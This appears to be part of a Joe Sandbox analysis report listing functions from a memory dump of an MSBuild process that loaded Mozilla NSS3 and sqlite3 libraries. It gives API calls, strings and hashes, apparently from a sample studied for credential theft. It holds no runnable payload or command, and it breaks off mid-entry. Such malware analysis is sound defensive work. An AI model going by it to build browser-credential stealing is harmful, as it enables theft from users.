Part of subcall function 6CC052D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CC0530F
Part of subcall function 6CC052D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CC05326
Part of subcall function 6CC052D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CC5F1E9,?,00000000,?,?), ref: 6CC05340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC5F227

Part of subcall function 6CC4FAB0: free.MOZGLUE(?,-00000001,?,?,6CBEF673,00000000,00000000), ref: 6CC4FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CC5F23E

Part of subcall function 6CC4BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CBFE708,00000000,00000000,00000004,00000000), ref: 6CC4BE6A
Part of subcall function 6CC4BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CC004DC,?), ref: 6CC4BE7E
Part of subcall function 6CC4BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CC4BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC5F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CC5F3A8

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CC5F3B3

Part of subcall function 6CC02D20: PK11_DestroyObject.NSS3(?,?), ref: 6CC02D3C
Part of subcall function 6CC02D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC02D5F

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 697149549e4dec1a85aa6556f14af904802d80fb3ed1a20085ca037cc6826670
Instruction ID: fb11551ef959683e8a515de430ccd8903e73374dd5d649bca469cf9dd24080f6
Opcode Fuzzy Hash: 697149549e4dec1a85aa6556f14af904802d80fb3ed1a20085ca037cc6826670
Instruction Fuzzy Hash: CDD180B6E016059FEB08CFA9D880A9EB7F5FF48308F558029D915A7711FB31E826CB54

Function 6CC20EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CC20F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC20FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CC21006
PK11_FreeSymKey.NSS3(?), ref: 6CC2101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC21033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC2103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CC21048
memcpy.VCRUNTIME140(?,?,?), ref: 6CC2108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC210BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CC210D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CC2112E

Part of subcall function 6CC21570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CC208C4,?,?), ref: 6CC215B8
Part of subcall function 6CC21570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CC208C4,?,?), ref: 6CC215C1
Part of subcall function 6CC21570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC2162E
Part of subcall function 6CC21570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC21637

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: cb4b3e43ca8bb6cb972c57ba5f611578c868d92bfcd6f176a6366f14b5c75c06
Instruction ID: a0309edbd40cf5c9bb00cf680d921c37b5c564628bb88bea7982d7e8802622e9
Opcode Fuzzy Hash: cb4b3e43ca8bb6cb972c57ba5f611578c868d92bfcd6f176a6366f14b5c75c06
Instruction Fuzzy Hash: 4171CEB1E002059FDB04CFA9C884A6AF7B4BF48318F14862DE90997B51FB76DD45CB91

Function 6CC46C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CBF1C6F,00000000,00000004,?,?), ref: 6CC46C3F

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CBF1C6F,00000000,00000004,?,?), ref: 6CC46C60
PR_ExplodeTime.NSS3(00000000,6CBF1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CBF1C6F,00000000,00000004,?,?), ref: 6CC46C94

Strings

gfff, xrefs: 6CC46CFD
gfff, xrefs: 6CC46CF5
gfff, xrefs: 6CC46D66
gfff, xrefs: 6CC46D30
gfff, xrefs: 6CC46D9C

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 5018a9f8e0b7b11fb0bbd811da8ec0f5dff8b5b8f1141e8528b81dd854914707
Instruction ID: 2c74110a9549274cdb5af6235fd15b4922a27f3231bc46940ab6a9b69a1ebaeb
Opcode Fuzzy Hash: 5018a9f8e0b7b11fb0bbd811da8ec0f5dff8b5b8f1141e8528b81dd854914707
Instruction Fuzzy Hash: BC513C72B016494FC71CCEADDC527DAB7DAABA4310F48C23AE441DB785E638D906C751

Function 6CCC0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CCC1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CCC10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCC1353

Strings

zeroblob(%d), xrefs: 6CCC1223
$, xrefs: 6CCC12A0
'%.*q', xrefs: 6CCC1217, 6CCC1292
NULL, xrefs: 6CCC119E
-- , xrefs: 6CCC0FF5
%lld, xrefs: 6CCC114B
%02x, xrefs: 6CCC12F6

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 439861ffffc1ce25a942dd010235577e1d6b316dd94c742d01da5526b930072b
Instruction ID: eb9a098d29230ba11baa72437919490b16cbbefb2d3152fb156cf42616f6eb4f
Opcode Fuzzy Hash: 439861ffffc1ce25a942dd010235577e1d6b316dd94c742d01da5526b930072b
Instruction Fuzzy Hash: D1E1BF75A083809FD700CF5AC480A6BBBF1BF86358F18892DE99587B51E771E849CB43

Function 6CCC8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCC8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCC9209

Strings

3333, xrefs: 6CCC925E
UUUU, xrefs: 6CCC9255

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 768c0969bf4f56b0aa1216b6a96881e61e30bd5c30be3d832867de264309f0e9
Instruction ID: 19b5e28f3086ffe90d12addf6ba1590d89bfd8d3bab1638c143efaa1245a4a8b
Opcode Fuzzy Hash: 768c0969bf4f56b0aa1216b6a96881e61e30bd5c30be3d832867de264309f0e9
Instruction Fuzzy Hash: 16A1AF72E001159BDB04CF68CC80B9EB7B5BF48328F094129D909B7791E736AC12CBA2

Function 6CB80FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CB7CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBDF9C9,?,6CBDF4DA,6CBDF9C9,?,?,6CBA369A), ref: 6CB7CA7A
Part of subcall function 6CB7CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB7CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CB8103E
EnterCriticalSection.KERNEL32(?), ref: 6CB81139
LeaveCriticalSection.KERNEL32(?), ref: 6CB81190
sqlite3_free.NSS3(00000000), ref: 6CB81227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CB8126E
sqlite3_free.NSS3(?), ref: 6CB8127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CB81267
winAccess, xrefs: 6CB8129B

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: fdb1f1be36803df78b9c46d35d1bdf7c18f2bea800c9895b00ffc934b310bc7c
Instruction ID: 3b3431dfc58d2facda9fefa8a4bba5e5321bfb0bbe6f72fbc9ffcabdd7467231
Opcode Fuzzy Hash: fdb1f1be36803df78b9c46d35d1bdf7c18f2bea800c9895b00ffc934b310bc7c
Instruction Fuzzy Hash: A4710A317472819BFB04EF25DC85A6B7379FB86319F584229EA3587A80EB30D805C793

Function 6CB8AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CCACF46,?,6CB7CDBD,?,6CCABF31,?,?,?,?,?,?,?), ref: 6CB8B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CCACF46,?,6CB7CDBD,?,6CCABF31), ref: 6CB8B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CCACF46,?,6CB7CDBD,?,6CCABF31), ref: 6CB8B0A2
CloseHandle.KERNEL32(?,?,6CCACF46,?,6CB7CDBD,?,6CCABF31,?,?,?,?,?,?,?,?,?), ref: 6CB8B100
sqlite3_free.NSS3(?,?,00000002,?,6CCACF46,?,6CB7CDBD,?,6CCABF31,?,?,?,?,?,?,?), ref: 6CB8B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CCACF46,?,6CB7CDBD,?,6CCABF31), ref: 6CB8B12D

Part of subcall function 6CB79EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB8C6FD,?,?,?,?,6CBDF965,00000000), ref: 6CB79F0E
Part of subcall function 6CB79EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CBDF965,00000000), ref: 6CB79F5D

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 1d6d8152dce6009c8eef7f8c974ad716437532586ac2010f599834ede143879b
Instruction ID: 7e51a66e6921ff3dbbe386bd8946fd80c3e4c7c494ed1c66222594e9542a91fd
Opcode Fuzzy Hash: 1d6d8152dce6009c8eef7f8c974ad716437532586ac2010f599834ede143879b
Instruction Fuzzy Hash: 5591DFB0A052458FEB14DF38CC84B6BB7B5FF45308F28462DE51697A90EB31E854CB52

Function 6CD08D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CD514E4,6CCBCC70), ref: 6CD08D47
PR_GetCurrentThread.NSS3 ref: 6CD08D98

Part of subcall function 6CBE0F00: PR_GetPageSize.NSS3(6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F1B
Part of subcall function 6CBE0F00: PR_NewLogModule.NSS3(clock,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CD08E7B
htons.WSOCK32(?), ref: 6CD08EDB
PR_GetCurrentThread.NSS3 ref: 6CD08F99
PR_GetCurrentThread.NSS3 ref: 6CD0910A

Strings

%u.%u.%u.%u, xrefs: 6CD08E74

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 620a3e97970a04db5109324505c9a1b63705e3a03755a45c1282b55ac7793535
Instruction ID: 50221b11d263fe36d1927ce0372066c2e28ecf4f1ddae8b53d01d246a8018b2e
Opcode Fuzzy Hash: 620a3e97970a04db5109324505c9a1b63705e3a03755a45c1282b55ac7793535
Instruction Fuzzy Hash: DF026931B05251CFDB188F1DC8687AABBB2EF82304F19825FD8915BAB2C375D949C791

Function 6CC868E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6CC868FC
PR_EnterMonitor.NSS3 ref: 6CC86924

Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90AB
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB90C9
Part of subcall function 6CCB9090: EnterCriticalSection.KERNEL32 ref: 6CCB90E5
Part of subcall function 6CCB9090: TlsGetValue.KERNEL32 ref: 6CCB9116
Part of subcall function 6CCB9090: LeaveCriticalSection.KERNEL32 ref: 6CCB913F

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

PR_EnterMonitor.NSS3 ref: 6CC8693E
TlsGetValue.KERNEL32 ref: 6CC86977
TlsGetValue.KERNEL32 ref: 6CC869B8
PR_ExitMonitor.NSS3 ref: 6CC86B1E
PR_ExitMonitor.NSS3 ref: 6CC86B39
TlsGetValue.KERNEL32 ref: 6CC86B62

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 31b727c15c204b7e8a1f91f18cf9c443c2f91dcf13e137cdf7c675a0e4201083
Instruction ID: 52a741d3971ce36e767ba0d81c2468fb31bba6b22c99d9fe981bfb10efb7ba02
Opcode Fuzzy Hash: 31b727c15c204b7e8a1f91f18cf9c443c2f91dcf13e137cdf7c675a0e4201083
Instruction Fuzzy Hash: D2917D7466A900CBDB40DF2EC48056F7FA2FB8770CB618259C8849FA19E771D981DB86

Function 6CC109A0 Relevance: 11.0, APIs: 7, Instructions: 489memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC106A0: TlsGetValue.KERNEL32 ref: 6CC106C2
Part of subcall function 6CC106A0: EnterCriticalSection.KERNEL32(?), ref: 6CC106D6
Part of subcall function 6CC106A0: PR_Unlock.NSS3 ref: 6CC106EB

memcmp.VCRUNTIME140(00000000,6CBF9B8A,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6CBF9B8A,00000000,6CBF2D6B), ref: 6CC109D9
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6CBF9B8A,00000000,6CBF2D6B), ref: 6CC109F2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CBF9B8A,00000000,6CBF2D6B), ref: 6CC10A1C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CBF9B8A,00000000,6CBF2D6B), ref: 6CC10A30
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CBF9B8A,00000000,6CBF2D6B), ref: 6CC10A48

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Alloc_ArenaUtilmemcmp
String ID:
API String ID: 115324291-0
Opcode ID: 047dc4c3f2b971c0cb8aa472e849c3d608db6694e87620ccfe91d487f423efea
Instruction ID: 7807b82ba0a9dfc59b1cbcc78a584fe67bd2db7ef8d385b3ebbbb0f98a8a3a02
Opcode Fuzzy Hash: 047dc4c3f2b971c0cb8aa472e849c3d608db6694e87620ccfe91d487f423efea
Instruction Fuzzy Hash: 7F0211B1E042049FEB008F66DC41BAB77B9FF48318F144129E905A7B52F732E965DBA1

Function 6CC9C9E0 Relevance: 7.7, APIs: 5, Instructions: 187timeCOMMON

Download Yara Rule

APIs

PR_NormalizeTime.NSS3(00000000,?), ref: 6CC9CEA5

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: NormalizeTime
String ID:
API String ID: 1467309002-0
Opcode ID: 3b3f9aa7c1323b5477153c3d20081a5cd033646bfe42f742d9bfa9efce3d2024
Instruction ID: 0b27866eba1b0c326aa39ccdb0c88987af9824d550886a368932157943ecffdd
Opcode Fuzzy Hash: 3b3f9aa7c1323b5477153c3d20081a5cd033646bfe42f742d9bfa9efce3d2024
Instruction Fuzzy Hash: 7871A471A057418FD704DF28C48062ABBE5FF89328F258B2DE4A9C77A1E730D955CB91

Function 6CD0CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD0D086
PR_Malloc.NSS3(00000001), ref: 6CD0D0B9
PR_Free.NSS3(?), ref: 6CD0D138

Strings

>, xrefs: 6CD0CF5B

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 8c82f0758b7c00ef9aa02306393cf21b5dcf9402b554e2d599b80ed882cfbe17
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 63D15A62B416464BEB144F7C8CA13EA77938782374F68432BD5619BBF6EA19C843C353

Function 6CCAAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

